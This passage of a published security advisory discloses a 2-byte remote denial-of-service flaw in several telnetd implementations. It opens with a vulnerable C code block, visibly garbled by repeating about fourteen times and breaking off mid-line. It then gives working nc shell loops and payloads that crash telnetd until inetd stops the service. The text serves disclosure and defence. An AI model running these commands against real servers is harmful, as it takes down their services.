942                             if (c == EC)
943                                 ch = *slctab[SLC_EC].sptr; // vuln
944                             else
945                                 ch = *slctab[SLC_EL].sptr; // vuln
946                             if (ch != (cc_t)(_POSIX_VDISABLE))
947                                 *pfrontp++ = (unsigned char)ch;
948                             break;
949                         }
950                 }
951             ...
952             case gotiac:
953                 switch (c) {
954                     ...
955                     /*
956                      * Erase Character and
957                      * Erase Line
958                      */
959                     case EC:
960                     case EL:
961                         {
962                             cc_t ch;
963
964                             DIAG(TD_OPTIONS,
965                                 printoption("td: recv IAC", c));
966                             ptyflush(); /* half-hearted */
967                             init_termbuf();
968                             if (c == EC)
969                                 ch = *slctab[SLC_EC].sptr; // vuln
970                             else
971                                 ch = *slctab[SLC_EL].sptr; // vuln
972                             if (ch != (cc_t)(_POSIX_VDISABLE))
973                                 *pfrontp++ = (unsigned char)ch;
974                             break;
975                         }
976                 }
977             ...
978             case gotiac:
979                 switch (c) {
980                     ...
981                     /*
982                      * Erase Character and
983                      * Erase Line
984                      */
985                     case EC:
986                     case EL:
987                         {
988                             cc_t ch;
989
990                             DIAG(TD_OPTIONS,
991                                 printoption("td: recv IAC", c));
992                             ptyflush(); /* half-hearted */
993                             init_termbuf();
994                             if (c == EC)
995                                 ch = *slctab[SLC_EC].sptr; // vuln
996                             else
997                                 ch = *slctab[SLC_EL].sptr; // vuln
998                             if (ch != (cc_t)(_POSIX_VDISABLE))
999                                 *pfrontp++ = (unsigned char)ch;
1000                             break;
1001                         }
1002                 }
1003             ...
1004             case gotiac:
1005                 switch (c) {
1006                     ...
1007                     /*
1008                      * Erase Character and
1009                      * Erase Line
1010                      */
1011                     case EC:
1012                     case EL:
1013                         {
1014                             cc_t ch;
1015
1016                             DIAG(TD_OPTIONS,
1017                                 printoption("td: recv IAC", c));
1018                             ptyflush(); /* half-hearted */
1019                             init_termbuf();
1020                             if (c == EC)
1021                                 ch = *slctab[SLC_EC].sptr; // vuln
1022                             else
1023                                 ch = *slctab[SLC_EL].sptr; // vuln
1024                             if (ch != (cc_t)(_POSIX_VDISABLE))
1025                                 *pfrontp++ = (unsigned char)ch;
1026                             break;
1027                         }
1028                 }
1029             ...
1030             case gotiac:
1031                 switch (c) {
1032                     ...
1033                     /*
1034                      * Erase Character and
1035                      * Erase Line
1036                      */
1037                     case EC:
1038                     case EL:
1039                         {
1040                             cc_t ch;
1041
1042                             DIAG(TD_OPTIONS,
1043                                 printoption("td: recv IAC", c));
1044                             ptyflush(); /* half-hearted */
1045                             init_termbuf();
1046                             if (c == EC)
1047                                 ch = *slctab[SLC_EC].sptr; // vuln
1048                             else
1049                                 ch = *slctab[SLC_EL].sptr; // vuln
1050                             if (ch != (cc_t)(_POSIX_VDISABLE))
1051                                 *pfrontp++ = (unsigned char)ch;
1052                             break;
1053                         }
1054                 }
1055             ...
1056             case gotiac:
1057                 switch (c) {
1058                     ...
1059                     /*
1060                      * Erase Character and
1061                      * Erase Line
1062                      */
1063                     case EC:
1064                     case EL:
1065                         {
1066                             cc_t ch;
1067
1068                             DIAG(TD_OPTIONS,
1069                                 printoption("td: recv IAC", c));
1070                             ptyflush(); /* half-hearted */
1071                             init_termbuf();
1072                             if (c == EC)
1073                                 ch = *slctab[SLC_EC].sptr; // vuln
1074                             else
1075                                 ch = *slctab[SLC_EL].sptr; // vuln
1076                             if (ch != (cc_t)(_POSIX_VDISABLE))
1077                                 *pfrontp++ = (unsigned char)ch;
1078                             break;
1079                         }
1080                 }
1081             ...
1082             case gotiac:
1083                 switch (c) {
1084                     ...
1085                     /*
1086                      * Erase Character and
1087                      * Erase Line
1088                      */
1089                     case EC:
1090                     case EL:
1091                         {
1092                             cc_t ch;
1093
1094                             DIAG(TD_OPTIONS,
1095                                 printoption("td: recv IAC", c));
1096                             ptyflush(); /* half-hearted */
1097                             init_termbuf();
1098                             if (c == EC)
1099                                 ch = *slctab[SLC_EC].sptr; // vuln
1100                             else
1101                                 ch = *slctab[SLC_EL].sptr; // vuln
1102                             if (ch != (cc_t)(_POSIX_VDISABLE))
1103                                 *pfrontp++ = (unsigned char)ch;
1104                             break;
1105                         }
1106                 }
1107             ...
1108             case gotiac:
1109                 switch (c) {
1110                     ...
1111                     /*
1112                      * Erase Character and
1113                      * Erase Line
1114                      */
1115                     case EC:
1116                     case EL:
1117                         {
1118                             cc_t ch;
1119
1120                             DIAG(TD_OPTIONS,
1121                                 printoption("td: recv IAC", c));
1122                             ptyflush(); /* half-hearted */
1123                             init_termbuf();
1124                             if (c == EC)
1125                                 ch = *slctab[SLC_EC].sptr; // vuln
1126                             else
1127                                 ch = *slctab[SLC_EL].sptr; // vuln
1128                             if (ch != (cc_t)(_POSIX_VDISABLE))
1129                                 *pfrontp++ = (unsigned char)ch;
1130                             break;
1131                         }
1132                 }
1133             ...
1134             case gotiac:
1135                 switch (c) {
1136                     ...
1137                     /*
1138                      * Erase Character and
1139                      * Erase Line
1140                      */
1141                     case EC:
1142                     case EL:
1143                         {
1144                             cc_t ch;
1145
1146                             DIAG(TD_OPTIONS,
1147                                 printoption("td: recv IAC", c));
1148                             ptyflush(); /* half-hearted */
1149                             init_termbuf();
1150                             if (c == EC)
1151                                 ch = *slctab[SLC_EC].sptr; // vuln
1152                             else
1153                                 ch = *slctab[SLC_EL].sptr; // vuln
1154                             if (ch != (cc_t)(_POSIX_VDISABLE))
1155                                 *pfrontp++ = (unsigned char)ch;
1156                             break;
1157                         }
1158                 }
1159             ...
1160             case gotiac:
1161                 switch (c) {
1162                     ...
1163                     /*
1164                      * Erase Character and
1165                      * Erase Line
1166                      */
1167                     case EC:
1168                     case EL:
1169                         {
1170                             cc_t ch;
1171
1172                             DIAG(TD_OPTIONS,
1173                                 printoption("td: recv IAC", c));
1174                             ptyflush(); /* half-hearted */
1175                             init_termbuf();
1176                             if (c == EC)
1177                                 ch = *slctab[SLC_EC].sptr; // vuln
1178                             else
1179                                 ch = *slctab[SLC_EL].sptr; // vuln
1180                             if (ch != (cc_t)(_POSIX_VDISABLE))
1181                                 *pfrontp++ = (unsigned char)ch;
1182                             break;
1183                         }
1184                 }
1185             ...
1186             case gotiac:
1187                 switch (c) {
1188                     ...
1189                     /*
1190                      * Erase Character and
1191                      * Erase Line
1192                      */
1193                     case EC:
1194                     case EL:
1195                         {
1196                             cc_t ch;
1197
1198                             DIAG(TD_OPTIONS,
1199                                 printoption("td: recv IAC", c));
1200                             ptyflush(); /* half-hearted */
1201                             init_termbuf();
1202                             if (c == EC)
1203                                 ch = *slctab[SLC_EC].sptr; // vuln
1204                             else
1205                                 ch = *slctab[SLC_EL].sptr; // vuln
1206                             if (ch != (cc_t)(_POSIX_VDISABLE))
1207                                 *pfrontp++ = (unsigned char)ch;
1208                             break;
1209                         }
1210                 }
1211             ...
1212             case gotiac:
1213                 switch (c) {
1214                     ...
1215                     /*
1216                      * Erase Character and
1217                      * Erase Line
1218                      */
1219                     case EC:
1220                     case EL:
1221                         {
1222                             cc_t ch;
1223
1224                             DIAG(TD_OPTIONS,
1225                                 printoption("td: recv IAC", c));
1226                             ptyflush(); /* half-hearted */
1227                             init_termbuf();
1228                             if (c == EC)
1229                                 ch = *slctab[SLC_EC].sptr; // vuln
1230                             else
1231                                 ch = *slctab[SLC_EL].sptr; // vuln
1232                             if (ch != (cc_t)(_POSIX_VDISABLE))
1233                                 *pfrontp++ = (unsigned char)ch;
1234                             break;
1235                         }
1236                 }
1237             ...
1238             case gotiac:
1239                 switch (c) {
1240                     ...
1241                     /*
1242                      * Erase Character and
1243                      * Erase Line
1244                      */
1245                     case EC:
1246                     case EL:
1247                         {
1248                             cc_t ch;
1249
1250                             DIAG(TD_OPTIONS,
1251                                 printoption("td: recv IAC", c));
1252                             ptyflush(); /* half-hearted */
1253                             init_termbuf();
1254                             if (c == EC)
1255                                 ch = *slctab[SLC_EC].sptr; // vuln
1256                             else
1257                                 ch = *slctab[SLC_EL].sptr; // vuln
1258                             if (ch != (cc_t)(_POSIX_VDISABLE))
1259                                 *pfrontp++ = (unsigned char)ch;
1260                             break;
1261                         }
1262                 }
1263             ...
1264             case gotiac:
1265                 switch (c) {
1266                     ...
1267                     /*
1268                      * Erase Character and
1269                      * Erase Line
1270                      */
1271                     case EC:
1272                     case EL:
1273                         {
1274                             cc_t ch;
1275
1276                             DIAG(TD_OPTIONS,
1277                                 printoption("td: recv IAC", c));
1278                             ptyflush(); /* half-hearted */
1279                             init_termbuf();
1280                             if (c == EC)
1281                                 ch = *slctab[SLC_EC].sptr; // vuln
1282                             else
1283                                 ch = *slctab[SLC_EL].sptr; // vuln
1284                             if (ch != (cc_t)(_POSIX_VDISABLE))
1285                                 *pfrontp++ = (unsigned char)ch;
1286                             break;
1287                         }
1288                 }
1289             ...
1290             case gotiac:
1291                 switch (c) {
1292                     ...
1293                     /*
1294                      * Erase Character and
1295                      * Erase Line
1296                      */
1297                     case EC:
1298                     case EL:
1299                         {
1300                             cc_t ch;
1301
1302                             DIAG(TD_OPTIONS,
1303                                 printoption("td: recv IAC", c
```

- inetutils-telnetd
- netkit-telnetd
- Telnetd in Kerberos Version 5 Applications - since the initial version (February 22, 1991 or 1/21/93)
- specific Palo Alto appliances (using netkit-telnetd)
- specific Cisco appliances (using netkit-telnetd)
- specific Brocade appliances (using netkit-telnetd)
- specific Arista appliances (using netkit-telnetd)
- ...

These vulnerabilities existed for ≈ 30 years.

To check if a remote telnet server is vulnerable, it is possible to send 2 bytes over the network and check if the remote server closes the TCP connection.

A disconnection means the remote `telnetd` processus likely crashed.

Details - permanent Remote DoS

Since `telnetd` is started with `inetd`, a new `telnetd` process will be spawned for each new tcp connection.

So an attacker can crash 256 `telnetd` processes very quickly and then `inetd` will stop spawning new `telnetd` processes. This DoS takes 4 seconds on a recent machine. This test was done under FreeBSD:

```
kali% i=0; while true; do echo $i; printf "\xff\xf7" | nc -n -v 192.168.1.200 23 >/dev/null; i=$((i+1));done
0
(UNKNOWN) [192.168.1.200] 23 (telnet) open
1
(UNKNOWN) [192.168.1.200] 23 (telnet) open
2
...
(UNKNOWN) [192.168.1.200] 23 (telnet) open
256
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
257
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
...
```

And in the logs, we can confirm the `telnetd` server will not be spawned anymore by `inetd`:

```
Aug 21 12:01:40 freebsd-13-1p1 inetd[6550]: telnet/tcp server failing (looping), service terminated
```

Vendor Response

Reaching and coordinating with all the vendors and software maintainers will take too much time and effort.

Full-disclosure is applied.

Recommendations

It is 2022. Do not use telnet. Seriously!

BGGP #3 Score

Rules of BGGP #3 are available at <https://tmpout.sh/bggp/3/> (<https://tmpout.sh/bggp/3/>).

Calculation of the score:

```
4096 pts
- 2 pts (size of file or payload)
+1024 pts, if you submit a writeup about your process and details about the crash
(+4096 pts, if you author a patch for your bug which is merged before the end of the competition)
-----
9214 pts if patches are deployed.
```

There are other bonus that we cannot obtain with these vulnerabilities:

```
+1024 pts, if the program counter is all 3's when the program crashes
+2048 pts, if you hijack execution and print or return "3"
```

We cannot hijack the execution flow but we can print "3" for fun over the telnet connection.

We can use RFC 857 (telnet echo) with IAC WILL ECHO (255 251 1) or IAC DO ECHO (255 253 1) and then crash the remote server.

But we found a smaller payload by sending 255 251 3 (this will print "3") and then 255 247 (DoS):

```
kali% (printf "\xff\xfb3"; sleep 1; printf "\xff\xf7") | nc -v -n 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%<FF><FE>3
```

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (<https://twitter.com/PierreKimSec>)) and Alexandre Torres (@AlexTorSec (<https://twitter.com/AlexTorSec>)).

References

<https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html> (<https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html>)

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028> (<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028>)

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: <http://creativecommons.org/licenses/by-nc-sa/3.0/> (<http://creativecommons.org/licenses/by-nc-sa/3.0/>).

published on 2022-08-24 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>